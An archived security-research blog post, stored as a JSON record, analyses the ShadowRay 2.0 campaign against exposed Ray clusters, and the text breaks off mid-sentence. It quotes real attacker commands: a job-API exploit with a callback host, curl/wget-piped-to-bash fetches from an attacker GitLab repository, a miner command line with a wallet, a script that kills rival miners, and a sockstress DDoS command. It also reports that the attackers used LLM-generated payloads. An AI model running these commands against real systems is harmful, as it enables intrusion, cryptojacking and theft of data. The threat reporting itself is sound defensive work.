{
	"id": "d2a37495-7d84-466c-ac5e-fda972b0416d",
	"created_at": "2026-04-06T00:16:20.130257Z",
	"updated_at": "2026-04-10T03:32:08.152559Z",
	"deleted_at": null,
	"sha1_hash": "3c4b7952f8aec4f509225d163896cdd345a4fe66",
	"title": "Oligo",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 10013042,
	"plain_text": "Oligo\r\nArchived: 2026-04-02 12:46:08 UTC\r\nShadowRay 2.0: Attackers Turn AI Against Itself in Global Campaign that Hijacks AI\r\nInto Self-Propagating Botnet\r\nOligo Security researchers have uncovered an ACTIVE global hacking campaign that uses AI to attack AI. The\r\noperation, dubbed ShadowRay 2.0, exploits a known, yet disputed, flaw in Ray, an open-source framework that powers\r\nmany of today’s AI systems, to quietly seize control of powerful computing clusters and conscript them into a self-replicating botnet.\r\nIn early November 2025, the Oligo Security research team identified an attack campaign exploiting the ShadowRay\r\nvulnerability (CVE-2023-48022) in Ray, a widely used open-source AI framework. This is the same flaw Oligo previously\r\nobserved being exploited in late 2023 (see the new MITRE, ShadowRay, Campaign C0045). \r\nFor the recent campaign, attackers leveraged DevOps-style infrastructure by using GitLab as a platform for updating and\r\ndelivering region-aware malware. Oligo reported this activity to Gitlab and the attacker repository and account was removed\r\non November 5, 2025. However, Oligo has determined that the attackers have migrated to GitHub in order to continue their\r\ncampaign as of November 10, 2025, creating multiple accounts and new repos. It remains active. \r\nThe latest campaign represents a major evolution from our initial ShadowRay discovery. The attackers, operating under the\r\nname IronErn440, have turned Ray’s legitimate orchestration features into tools for a self-propagating, globally\r\ncryptojacking operation, spreading autonomously across exposed Ray clusters.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 1 of 35\n\nWhat makes this campaign particularly notable is the use of AI to attack AI: our analysis shows attackers leveraged LLM-generated payloads to accelerate and adapt their methods. We also observed multiple criminal groups competing for the\r\nsame CPU resources, often terminating legitimate workloads and rival cryptominers to maximize profits.\r\nEqually concerning is the campaign’s operational sophistication. The attackers limited CPU usage to ~60% to evade\r\ndetection, disguised malicious processes as legitimate services, and hid GPU usage from Ray’s monitoring to avoid\r\ndetection while leveraging premium compute resources. In addition, the attackers employed a DevOps-style infrastructure\r\nby using GitLab for real-time, region-aware malware updates and delivery. \r\nEvidence suggests the operation could have been active since September 2024, compromising Ray clusters across multiple\r\ncontinents through automated OAST-based discovery.\r\nThis isn’t just another cryptojacking campaign. It’s the foundation of a multi-purpose botnet capable of DDoS attacks, data\r\nexfiltration, and global autonomous propagation.\r\nWhat is also highly concerning is that this vulnerability is “disputed” because the maintainers indicate that Ray is not\r\nintended for use outside a “strictly-controlled network environment”. In practice however, users often deploy Ray without\r\nheeding this warning, which creates an extended window for exploitation, evidenced by its continued and expanded\r\nweaponization by attackers in the wild. In fact, there are now more than 230,000 Ray servers exposed to the internet, in\r\ncontrast to the few thousand we observed during our initial ShadowRay discovery.\r\nBelow, we walk through:\r\nThe ShadowRay campaign from March 2024\r\nThe growth of exposed Ray servers \r\nThe new waves of attacks leveraging CVE-2023-48022\r\nThe attack group’s techniques\r\nHow the attackers have evaded detection\r\nRecommendations for protection\r\nWhy we looked into Ray (again)\r\nOur renewed research into Ray began when we were looking into some customer environments and noticed that they were\r\nrunning Ray. While those instances were already protected through Oligo’s runtime security platform, the potential risk was\r\nflagged to ensure proper configuration and secure deployment of Ray, meaning no Oligo customer environments were\r\nimpacted or targeted in this new attack campaign.\r\nA History Lesson: The Original ShadowRay Campaign\r\nIn March 2024, Oligo unveiled ShadowRay, a vulnerability that was leveraged in the first known attack campaign exploiting\r\nAI workloads in the wild. The attackers exploited CVE-2023-48022 that impacts Ray, the open-source AI framework\r\ncommonly referred to as the “Kubernetes of AI.” The flaw allows unauthenticated remote code execution (RCE) through\r\nRay’s Jobs API. \r\nOur original research showed that thousands of exposed Ray servers had already been compromised across a variety of\r\nsectors. Attackers used them to run cryptominers, steal secrets, and exfiltrate data from live AI workloads. \r\nWhile certain related issues were patched, CVE-2023-48022 itself was never directly fixed. The behavior in Ray is a design\r\nfeature and is safe when used in a trusted environment that is not exposed to the internet. Following the disclosure, Ray\r\nmaintainers issued configuration and deployment guidance, advising that “Security and isolation must be enforced outside of\r\nthe Ray Cluster.”.\r\nSource: https://docs.ray.io/en/latest/ray-security/index.html\r\nDISCLAIMER: The new campaign does not relate to Anyscale’s (the developers of Ray) SaaS offerings or paid products.\r\nThe sole intention of this blog is to support users of Ray by increasing awareness of its security aspects and common pitfalls.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 2 of 35\n\nAt the same time, the broader security community has continued to treat CVE-2023-48022 as a legitimate vulnerability. It is\r\nformally recognized in MITRE ATT\u0026CK, NIST’s National Vulnerability Database (NVD), and Google’s Open Source\r\nVulnerabilities (OSV) platform.\r\nThis means that while the CVE can be detected in environments, there is not a specific version to upgrade to. Users are\r\nurged to follow the official Ray security guidelines and also leverage this open-source tool to verify proper configuration of\r\ntheir clusters to avoid accidental exposure.\r\nThe Growth of Exposed Ray Servers\r\nSince early November 2025, our research team has identified significant renewed malicious activity in exposed Ray clusters\r\naround the world, nearly two years after us originally showing CVE-2023-48022 being exploited in the wild.\r\nAt the time of our original research, only thousands of exposed Ray servers were observed in the wild. Our scans today\r\nreveal that over 200,000 Ray servers remain exposed to the internet, with a portion confirmed as vulnerable or already\r\ncompromised. Many of the exposed servers belong to active startups, research labs, and cloud-hosted AI environments,\r\nwhile some are honeypots. \r\nThe lack of a definitive patch, coupled with the assumption that users would self-secure their clusters, has allowed threat\r\nactors to weaponize the same underlying weakness, culminating in the new ShadowRay v2 campaign.\r\nWorldWide spread of ray dashboards, after ShadowRay was discovered by Oligo there are more than 200K\r\ninstances (10x increase). Source: Shodan\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 3 of 35\n\nA time series view of vulnerable instances starting in April 2024. Source: Shodan\r\nNew Threat Actors, New Attacks\r\nThe campaign we have observed mirrors some of the characteristics and behaviors consistent with ShadowRay’s original\r\nexploitation chain:\r\nRCE via the exposed Ray dashboard API.\r\nPayload injection to deploy cryptocurrency miners and data exfiltration tools.\r\nPersistence mechanisms disguised as Ray worker processes.\r\nNew IoCs observed in compromised nodes (full list below).  \r\nWhile this new activity shares some common threads with our March 2024 research, it is being carried out by entirely new\r\nthreat actors that are leveraging different techniques to reach their end goals.\r\nTwo Waves of Attacks Uncovered\r\nOur analysis of the ShadowRay 2.0 activity shows that the campaign did not end with a single takedown. Instead, it evolved\r\nacross two platforms:\r\nWave One – GitLab launched: In early November 2025, attackers were using GitLab for their payload evolution\r\nand delivery. After Oligo reported the activity to GitLab, the attackers’ account and repository was removed on\r\nNovember 5, 2025.\r\nWave Two – GitHub launched: Within days of the GitLab takedown, the threat actors reestablished their operation\r\nby standing up a new GitHub repository to continue the advanced attacks via a repository that went live on\r\nNovember 10, 2025. On November 17, the repo was taken down, with attackers immediately creating a new one on\r\nthe same day. The second wave remains active, demonstrating the attackers’ persistence and agility in maintaining the\r\ncampaign. \r\nBelow, we walk through the technical details, findings, and evidence of the techniques the attackers have deployed in both\r\nphases of this ongoing campaign. \r\nGitLab-Launched Attack Campaign: Technical Breakdown and Evidence of Techniques\r\nBelow, we walk through the specific techniques the attackers used in this campaign with GitLab as their delivery\r\nmechanism, providing evidence of what was uncovered and how they used their methods to evolve from simple\r\ncryptojacking efforts to building a multi-purpose botnet.\r\n1: Discovery - \"Finding the Needle in the Internet Haystack\"\r\nAttackers used interact.sh (an OAST platform) to spray payloads across the internet and identify which Ray dashboard IPs\r\nwere exploitable. By sending callbacks to oast.fun subdomain, they could track which servers executed their commands.\r\nAttackers have triggered the very first step in Ray by posting a job that :\r\ncurl -X POST \" http://[host]:[port]/api/jobs/ \" -H 'Content-Type: application/json' -d '{\"entrypoint\": \"curl\r\nbwqqvqfgsseplyoltois92rdukv0mm5th.oast.fun\"}'\r\nThis is reconnaissance as a service - attackers weaponized out-of-band platforms to automatically discover vulnerable\r\ntargets at scale. Instead of manual scanning, they let victims identify themselves by calling back. This approach also helps\r\nevade traditional scanning detection.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 4 of 35\n\nAttackers used oast.fun subdomain domains for free.\r\nSource: https://github.com/projectdiscovery/interactsh\r\n2: Initial Access - \"Exploiting Ray's Trust\"\r\nAttackers exploited completely unauthenticated Ray Job Submission APIs (/api/jobs/) on exposed dashboards. They\r\nsubmitted malicious jobs with commands ranging from simple reconnaissance (uname -a, id) to complex multi-stage Bash\r\nand Python payloads.\r\nRay's dashboard was designed for trusted internal networks but is frequently exposed to the internet without authentication.\r\nThe attackers didn't need to exploit a vulnerability, they just used Ray's features as designed. This is a configuration\r\nvulnerability at scale.\r\nSome payloads checked for EC2 Instances or machines with 4 CPUs (and at some point, the attackers\r\nincreased it to a minimum of 8 CPUs).\r\nSearching for AWS credentials\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 5 of 35\n\nBy seeing the permission errors attackers ran into in the compromised Ray dashboard job history and logs -\r\nattackers knew why payloads were failing. With detailed error messages printed to the job’s\r\nSTDERR/STDOUT, they adapted their payloads and succeeded the next time.\r\nThe obfuscated “stage 2” of the payload includes the docstrings and useless echoes, which strongly implies the code is\r\nLLM-generated:\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 6 of 35\n\nNotice the comment: \"Suppress the warnings inside payload as well” - as if the attackers asked for it\r\nspecifically.\r\nThe payloads were base64-encoded. After decoding, we can see the LLM-generated payloads still include their\r\ndocumentation - like we saw with the rest of the payloads. Stage 2 is around resource discovery, and uses only 1 CPU.\r\n3: Lateral Movement - \"Weaponizing Ray's Orchestration\"\r\nAttackers deployed a payload that used Ray's NodeAffinitySchedulingStrategy to execute malware on every alive node in\r\nthe cluster. The payload literally enumerated all nodes and submitted jobs pinned to each specific node ID.\r\nThis is lateral movement via legitimate orchestration features in Ray. Instead of exploiting CVEs or using network attacks,\r\nattackers used Ray's own scheduling API to spread. It's essentially using the victim's infrastructure as intended, using python\r\ncode - like the applications that are already running,  just for malicious purposes:\r\nnodes=[n for n in ray.nodes() if n.get('Alive',False)]\r\ncmd='wget -qO- https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/aa.sh | tr -d \"\\\\r\" \u003e\r\naa_clean.sh \u0026\u0026 chmod +x aa_clean.sh \u0026\u0026 ./aa_clean.sh'\r\n[ray.get(ray.remote(lambda:\r\nsubprocess.run(cmd,shell=True)).options(scheduling_strategy=NodeAffinitySchedulingStrategy(node_id=n.get('NodeID')...\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 7 of 35\n\nAttackers ran the payloads several times. We could see long-running active payloads in realtime. The reverse\r\nshell was open for 22 hours.\r\nA compromised cluster with 1000GB Memory (1TB). This was only the beginning.\r\n4: AI-Generated Reconnaissance - \"Using AI to Attack AI\"\r\nAttackers deployed a sophisticated multi-stage Python payload that discovers cluster resources (CPUs, GPUs), calculates\r\noptimal allocation (60%), and then submits a takeover job with those exact resource requirements.\r\nThe payloads from gitlab are likely to be AI-generated, based on its structure, comments, and error handling patterns.\r\nAttackers are now using AI to generate attack code targeting AI infrastructure. The 60% resource allocation is particularly\r\nclever, as it leaves enough resources running to avoid immediate detection while maximizing mining profits.\r\nKey Payload Features:\r\nAutomatic CPU/GPU discovery via ray.cluster_resources()\r\nDynamic resource calculation: usable_cpus = max(1, int(total_cpus * 0.6))\r\nMulti-stage execution with error handling\r\nA machine with 8 or more CPUs and root access is considered a “VERY GOOD BOY”.\r\nA joke by the attackers?\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 8 of 35\n\n5: Reverse Shells - \"Opening the Backdoor\"\r\nAttackers established multiple interactive reverse shells to AWS-hosted C2 servers, giving them command-line access to\r\ncompromised Ray clusters. Multiple shells to different ports suggest redundancy or different attack operators.\r\nThe use of multiple simultaneous reverse shells on different ports indicates either multiple attackers competing for access or\r\nsophisticated failover mechanisms. Evidence shows shells connecting to ports 3876, 40331, 48331, and 443 - suggesting\r\nextensive C2 infrastructure.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 9 of 35\n\nAttacker IP in reverse shell python payload\r\nActive reverse shells to the attacker's IPs\r\nOne can see the opened Python reverse shells in the Ray dashboard job history\r\n6: Persistence - \"Ensuring They Never Leave\"\r\nAttackers installed multiple persistence mechanisms: cron jobs running every 15 minutes, systemd services disguised as\r\nsystem components, and .bashrc injections. The cron job continuously re-downloads and executes mon.sh from GitLab.\r\nThe use of GitLab as a live C2 infrastructure means attackers can update payloads in real-time. Every 15 minutes, all\r\ncompromised systems check for updates and re-infect themselves. This turns GitLab into a distributed update mechanism for\r\nmalware.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 10 of 35\n\nCron Job:\r\n*/15 * * * * wget -O - https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/mon.sh | bash\r\n7: Masquerading - \"Hiding in Plain Sight\"\r\nAttackers renamed malicious processes to look like legitimate Linux kernel workers (kworker/0:0) and system services (dns-filter). The XMRig cryptocurrency miner was renamed to .python3.6 and disguised as a systemd service.\r\nThe sophistication of process renaming goes beyond simple hiding. By using echo \"kworker/0:0\" \u003e /proc/$$/comm , they\r\nchange how the process appears in system monitoring tools. The name \"dns-filter\" suggests DNS filtering, which IT teams\r\nmight expect to see running.\r\nMasquerading Techniques:\r\nProcess rename to [kworker/0:0] (appears as kernel worker)\r\nBinary named /usr/lib/dev/systemdev/dns-filter (looks like system service)\r\nHidden binary .python3.6 in current directory\r\nSystemd service names: custom-X-service\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 11 of 35\n\nThe persistence method - using crontab and system service, disguised as ‘health-monitor’, ‘dns’ or as ‘dns-filter’.\r\n/tmp/dns is a cryptominer\r\n./aa_clean.sh is a middle recon stage by the attackers.\r\nDownloading cryptominer to /usr/lib/dev/systemdev/dns-filter\r\nDownloading the “aa.sh” script from GitLab in the payload.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 12 of 35\n\nNewer shells used “netsh” while older reverse shells started via /var/tmp/.ddns.sh\r\nDisguising as Python 3.6 process \r\n8: GPU Mining - \"Stealing Premium Compute\"\r\nAttackers specifically targeted Ray clusters with NVIDIA GPUs (A100s in particular). Environment variables show\r\nNVIDIA libraries loaded and 23.9GB of GPU memory consumed, but Ray's dashboard reports 0% GPU utilization,\r\nindicating a hidden miner.\r\nGPU cryptojacking is a goldmine, because A100 GPUs cost $3-4/hour on cloud platforms. By hiding GPU usage from Ray's\r\nmonitoring, attackers avoid immediate detection while stealing premium compute resources. The resource discovery payload\r\nspecifically checks for GPU availability before deploying GPU-enabled miners.\r\nCluster of NVIDIA A100 GPUs\r\nMaking the machine look under-utilized: The Ray GPU utilization looks low (0%) as the subprocess that runs\r\nXMRig takes over the GPU resources in practice.\r\n9: Competition Elimination - \"Cryptojacker vs. Cryptojacker\"\r\nAttackers deployed sophisticated scripts to detect and kill rival cryptocurrency miners. They hunt for processes matching\r\npatterns like \"xmrig\", \"minerd\", \"ccminer\", or any process using \u003e25% CPU. They also block competing mining pools via\r\n/etc/hosts and firewall rules.\r\nThis reveals a hidden war between cryptojacking groups. Multiple attackers are targeting the same Ray clusters, and they're\r\nactively fighting each other for resources. The scripts specifically protect their own miner (connected to supportxmr.com)\r\nwhile killing everything else. It's organized crime with source code.\r\nProtection Logic:\r\nif echo \"$cmdline\" | grep -vq \"supportxmr.com\" \u0026\u0026 echo \"$cmdline\" | grep -q \"xmrig\"; then\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 13 of 35\n\nkill -9 \"$pid\"# Kill rival miner\r\nfi\r\nBlocked Mining Pools:\r\npool.minexmr.com\r\nxmrpool.eu\r\nMultiple other Monero pools via /etc/hosts and iptables\r\nLogs from a compromised dashboard, the payload is blocking competitor mining pool, and hosts, using hosts\r\nfile and iptables.\r\nAttackers explicitly killing running miners\r\nKicking out competitors - Manipulation of iptables to block other attackers and threat actors from reaching the vulnerable\r\ninstance again after killing their processes.\r\nKilling specific \"unwanted' processes by name (index.js and xmr by name)\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 14 of 35\n\nKilling CPUs with high utilization, except their own miner (by pattern found in cmdline)\r\nLogic to determine which miners not to kill or not.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 15 of 35\n\nBlocking other common mining pools - to fail other attackers that might reach the compromised server later.\r\nPayload config\r\nThe same file as above, on GitLab - at a later point in time. Their “NEW POOL \u0026 WALLET” according to the docstrings -\r\nthe attackers have been doing it with different addresses for along time.\r\n10: Geographic Targeting - \"Adapting to the Victim\"\r\nAttackers implemented geolocation detection to identify if the victim is in China. Chinese victims receive payloads from\r\nrun-CN.sh (using China-accessible CDNs), while others get run.sh. This suggests infrastructure optimization and censorship\r\nbypass.\r\nThis is region-aware malware. By detecting the victim's country, attackers can adapt delivery methods, potentially use\r\nregional proxies (GitHub proxy and Chinese IP geolocation services), and optimize for network conditions. It suggests a\r\nmature operation targeting global infrastructure world-wide.\r\nGeolocation Detection:\r\nif curl -s --connect-timeout 3 -4 http://ip-api.com/json/ | grep -q '\"country\":\"China\"'; then\r\nis_in_china=true\r\ndownload_url=\"https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/run-CN.sh\"\r\nfi\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 16 of 35\n\nPayload checks for China geolocation via ip-api.com - which is available in china.\r\nProxied download via gh-proxy.com - so the payload will succeed in Chinese servers that have censored DNS support - or to\r\nbypass security rules that prevent requests to github.com directly.\r\nSome payloads tried using either wget or curl - usually one of them was present on the machine and fetched the initial\r\npayload from GitLab, and later, the miner through GitHub.\r\n11: Cryptocurrency Mining - \"The Payoff\"\r\nAttackers deployed XMRig miners connecting to pool.supportxmr.com:443 using TLS encryption. Multiple compromised\r\nclusters show 99% CPU usage and significant GPU utilization.\r\nThe use of TLS on port 443 makes mining traffic look like legitimate HTTPS traffic, blending into normal network activity.\r\nThe mining pool tracks show regular payouts, confirming this is an active, profitable operation.\r\nExample Mining Configuration (there were many):\r\n/usr/lib/dev/systemdev/dns-filter -o pool.supportxmr.com:443 -u\r\n45MinZ6ECgTgxn8gbm5gAsK9ATrEN6N95hbH3g4r5N4bKwH8QxuFygw3G7VwHwAusR9L35E4YjWYdTJaWDjbMGDCKYNz5X1.v2 --tls\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 17 of 35\n\nThe files when accessed on Nov. 2\r\nThe files when accessed on Nov. 4 Attacker payload changes were visible through GitLab diffs:\r\nThe attackers changed their “exclude pattern” - their own miner fingerprint - that is used to distinguish other miners that\r\nwere a result of another attack group.\r\nThe difference was visible through GitLab easily - Here is a commit that removes all comments (probably using an LLM\r\ntoo).\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 18 of 35\n\nSome payloads were hosted on GitHub. This repo is used for hosting malware as GitHub version releases.\r\nNote the commented out \"old\" repo in gitlab\r\nAttackers have downloaded cryptominer binaries from different repositories, hosts and IPs over time. We found this gitlab\r\nusername in one of the payload’s comments, probably leftovers of an older payload from an older repository. \r\nWe looked at the username, and found it was blocked, probably due to the same malicious activity by the\r\ngroup.\r\nCryptoMiners binaries were often served through GitHub release files.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 19 of 35\n\nThe inspected GitHub repositories had no code at all, only releases that include cryptominers in the artifacts.\r\nThis kind of repository behavior is suspicious and benefits malware thanks to github’s SSL and domain trust -\r\nand it seems to be up for more than 6 years. It is quite easy to identify repositories with similar characteristics\r\n(not code, many releases). \r\nThe configuration of the payload that is being downloaded from GitLab.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 20 of 35\n\nPlatform-independent firewall blocking of competing miners through hosts file\r\n12: Live Campaign Evolution - \"Attack Infrastructure as Code\"\r\nThe GitLab repository ironern440-group/ironern440-project showed active commits, meaning attackers are iterating on\r\ntheir payloads in real-time. All compromised systems pulled updates every 15 minutes, so improvements propagate across\r\nthe entire botnet within hours.\r\nThis is DevOps for cybercrime. Attackers used GitLab as their CI/CD pipeline for malware distribution. They can A/B test\r\ntechniques, roll back failed updates, and respond to defensive measures - all through version control. The commit history\r\nshowed active development in realtime.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 21 of 35\n\nThe files when accessed in Nov. 2\r\nThe files when accessed in Nov. 4\r\nAttacker payload changes were visible through GitLab.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 22 of 35\n\nThe attackers changed their “exclude pattern” - their own miner fingerprint - that is used to distinguish other miners that\r\nwere a result of another attack group.\r\nThe diff was visible through GitLab easily - a commit that removes all comments of the LLM-generated payloads.\r\nSome payloads were hosted on GitHub. This repo is used for hosting malware as GitHub version releases\r\nCryptoMiners were served through GitHub release files\r\nAttackers have downloaded the XMRig (cryptominer) from different repositories and IPs over time. We found\r\nthis gitlab username in one of the payload commented out bash lines.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 23 of 35\n\nThe commented out username found in one of the payloads was blocked, probably due to the same activity.\r\nThe configuration of the payload that is being downloaded from GitLab.\r\nAttackers added their own SSH Keys.  They tried different home directories and users.\r\nAttackers added their own SSH Keys.  They tried different home directories and users. After enumeration,\r\nthey succeeded and added their own SSH key to root’s authorized keys.\r\n13: Sensitive Data Access - \"Beyond Cryptocurrency\"\r\nAttackers could see everything the workloads are doing - including access to the proprietary AI models and filesystem,\r\napplication user requests, application code and configuration.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 24 of 35\n\nThey discovered and exfiltrated MySQL database credentials from Ray job environment variables and config files. The\r\nexposed credentials provide root access to a MySQL database that is used in production application.\r\nWe also found many security tokens and cloud credentials present on the compromised machines workloads - by analyzing\r\nthe code, command lines and and the environment variables of the running processes on the compromised machines. This\r\nreveals the attack scope extends beyond cryptojacking.\r\nWith database credentials, attackers can exfiltrate sensitive data, inject backdoors into applications, or sell access to other\r\nthreat actors. The presence of MySQL credentials in environment variables (just one example) suggests the compromised\r\nsystem is part of a larger application infrastructure.\r\nOn some instances that models were present (for example, pytorch pickle file of the model weights and frozen graph). These\r\nproprietary, custom models are considered unique IP that is a competitive advantage to the company. Attackers could steal\r\nthem from the compromised machines, as well as their source code and user data that was retained on the machines.\r\n14: DDoS in action - \"Multi-Purpose Botnet\"\r\nAttackers deployed sockstress, a TCP state exhaustion tool, targeting production websites. This suggests the compromised\r\nRay clusters are being weaponized for denial-of-service attacks, possibly against competing mining pools or other\r\ninfrastructure - or as another way to monetize their compromised hardware (compromised infrastructure as a service).\r\nThis transforms the operation from pure cryptojacking into a multi-purpose botnet. The ability to launch DDoS attacks\r\nadds another monetization vector - attackers can rent out DDoS capacity or use it to eliminate competition. The target port\r\n3333 is commonly used by mining pools, suggesting attacks against rival mining infrastructure.\r\nDDoS Command used by attackers:\r\n./sockstress \u003credacted_hostname\u003e 3333 eth0 -p payloads/http\r\n'sockstress' used for DDOS - with specific IPs and specific ports.\r\n15: Spray and Pray - \"Using Victims to Find More Victims\"\r\nCompromised Ray clusters were used to spray attack payloads to other Ray dashboards worldwide. The attackers essentially\r\ncreated a self-propagating worm that uses one victim to scan for and compromise the next victim.\r\nThis is worm-like behavior in cloud infrastructure. Instead of centralized scanning (which is noisy and detectable), attackers\r\ndistributed the scanning across their botnet. Each compromised cluster helps discover and infect new clusters, creating\r\nexponential growth. The use of interact.sh for callback means attackers only see successful compromises, reducing noise.\r\nPropagation Flow:\r\n1. Compromised Cluster A scans for exposed Ray dashboards\r\n2. Sends test payload with interact.sh callback\r\n3. Attacker sees successful callback\r\n4. Attacker sends full payload to new victim\r\n5. New victim joins botnet and starts scanning\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 25 of 35\n\n6. Repeat\r\nGitHub-Launched Attack Campaign: Technical Breakdown and Evidence of Techniques\r\nFollowing the attackers’ GitLab account and repository being taken down on November 5, 2025, the attackers migrated the\r\nrepo to GitHub, where they remain active. They created the new GitHub repo on November 10, 2025.\r\nBelow, we walk through the techniques the attackers used with GitHub as their delivery mechanism, providing evidence of\r\nwhat was uncovered and how they evolved their methods. \r\nMoving to GitHub\r\nThe second phase was even more successful.\r\nAttackers Ported to GitHub on November 10, 2025. We identified a compromised Ray cluster and were surprised to see a\r\nnew GitHub repository in the payload from the willd, replacing the repository that was removed by GitLab after we\r\nreported the first phase.\r\nThe public repository https://github.com/thisisforwork440-ops/ironrock was used in the payload\r\nNote the documentation - the caps letters and extensive changelog documentation hints on AI-assisted exploit\r\nadaptation based on feedback.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 26 of 35\n\nCompromised Clusters With Thousands of Active Nodes (machines)\r\nAttackers put hands on internet-facing clusters with thousands of machines (Worth $4M USD per year) - utilizing 100%\r\nCPU on the compromised Ray nodes:\r\nRay cluster with more than thousand active nodes that was compromised - 100% CPU utilization on 60% of\r\nthe cluster.\r\nCluster HW breakdown. The annual price on-demand exceeds $3 million USD from this cluster alone!\r\nOne of the servers had a network NFS mount, which included 240GB of Source Code, AI Models and Datasets. Everything\r\nthe company is doing for the past few years, exposed to the internet.:\r\nArchive that includes source code, models, and datasets - 240GB compressed (Petabytes after extraction)\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 27 of 35\n\nMachines with access to AWS EKS roles\r\nThe attackers used POCs for ShadowRay from the internet for Initial Access - we identified it through reverse\r\nsearch, it looked familiar.\r\nMining Pool Statistics\r\nIn a new mining pool for the second phase of the attack, the attackers reached the #1 spot among 100+ registered miners.\r\nThe attacker HashRate (and financial reward) kept increasing until we reported the user activity to GitHub.\r\nImproving the exploit \r\nThe attackers leveraged a new cryptominer that utilizes GPU better, by checking whether it is a GPU machine\r\n(through ‘nvidia-smi’ utility)\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 28 of 35\n\nMasquerading new legitimate paths for the binaries\r\nNew cronjobs were utilizing the GitHub repo -note the documentation (\"**China Version**\")\r\nWe found many new IoCs in the second part of the campaign.\r\nAn ELF executable that was downloaded from the attacker’s servers. We started reverse engineering it . It was an unpacker\r\nwith unpopular compression that executed code through stack-based syscall direct execution\r\nReverse Engineering the dropper/unpacker. The attackers used a custom dropper/loader with LZSS\r\ncompression, dynamic syscalls invocation like mmap and memunmap through a function pointer, ROP and\r\nstack manipulation. The direct syscall() instruction bypasses libc and many security products.\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 29 of 35\n\nThe binary cryptominer used was flagged by 28 out of 65 vendors on VirusTotal.\r\nWe reported the account to GitHub, which quickly blocked it as of November 17, 2025.\r\nThe attackers opened a new account on the same day, within 2 hours, and continue to use GitHub. We believe\r\nthis campaign is automated due to the pace of recovery and stealthy operation across providers and\r\nworldwide.\r\nWhy It Matters: Growing AI Attack Surface\r\nAI workloads are increasingly deployed at scale, often with less mature security controls than traditional infrastructure.\r\nBecause Ray’s design assumes an internal, trusted environment, many clusters are deployed with ports exposed publicly, and\r\nauthentication disabled. These factors make ShadowRay a ripe vulnerability for attackers to exploit, as it 